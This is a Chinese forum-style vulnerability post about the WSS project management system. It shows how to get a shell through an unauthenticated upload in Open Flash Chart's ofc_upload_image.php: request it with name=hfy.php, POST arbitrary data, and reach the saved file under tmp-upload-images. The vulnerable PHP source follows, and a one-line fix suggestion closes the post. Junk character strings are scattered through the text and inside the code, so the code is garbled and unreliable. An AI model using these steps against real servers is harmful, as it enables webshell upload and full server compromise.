WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
- d  M/ s3 ^  T4 B% r
利用：
& J7 b+ n* }0 [; U$ r  s  h' o/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
6 R/ C  I* U3 h9 ^- V+ _( z
: S1 v3 o% ~) [4 b- oPost任意数据
8 a- O  V, [; t0 o保存位置http://localhost/chart/tmp-upload-images/hfy.php
; r) ^9 F- W( T+ k$ a

最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
* U6 I4 n# ~, E9 J. t  _4 c* C4 M/ z
# H. L, Z; S* v0 v' N* a<?php
7 g% i" {2 N: r2 M8 y1 d3 l. U
//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

/*

print_r( $_GET );
print_r( $_POST );
print_r( $_FILES );
* M8 t2 o' O* x8 X: M% q
0 U9 f$ [5 w  D+ o8 b8 \0 Aprint_r( $GLOBALS );
) W, V, u6 a' y( B* U) K# aprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
  \- Q' J5 {( H5 G
*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
% z7 D1 `+ S# G% o6 l. O9 u# ^
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

6 K8 |5 u' M& |! Q* y// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
// print_r( $_POST );
8 e3 B- P# \+ k* Y// print_r( $_SERVER );
* |. d/ p  B8 l5 y// echo $HTTP_RAW_POST_DATA;

2 r- {5 R3 E5 C' X) i//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
; z  j' ], K6 M7 f* l
//
// LOOK:
8 M: W5 I2 D3 j//
exit();
//
1 W/ h$ ~0 M, ^// PHP5:
//


// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
$ d- g/ t/ M, o( I
1 T5 S) d" V$ Mif (!file_exists($default_path)) mkdir($default_path, 0777, true);
8 v8 H' Z  g& [" d
1 n$ L) U2 f2 X# ?4 P* ^// full path to the saved image including filename //
6 v& r* ?4 S4 h; K& m: t* v) X$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
/ Z: @$ e1 e) W. A$ B
// move the image into the specified directory //
: }: s9 ^9 X0 D( Xif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
- z* Y3 f  r8 w} else {
    echo "FILE UPLOAD FAILED";
0 m3 o( O3 o. P' y  \}


?>

- v) L; V( ?# c4 a' l! f/ z
. ~. b* h0 T8 _/ z; o



' f6 P6 x. h+ R修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞



8 J) S4 x: O9 d# L- O- [" q
- _+ h7 h+ G" h1 \4 N; W- q% V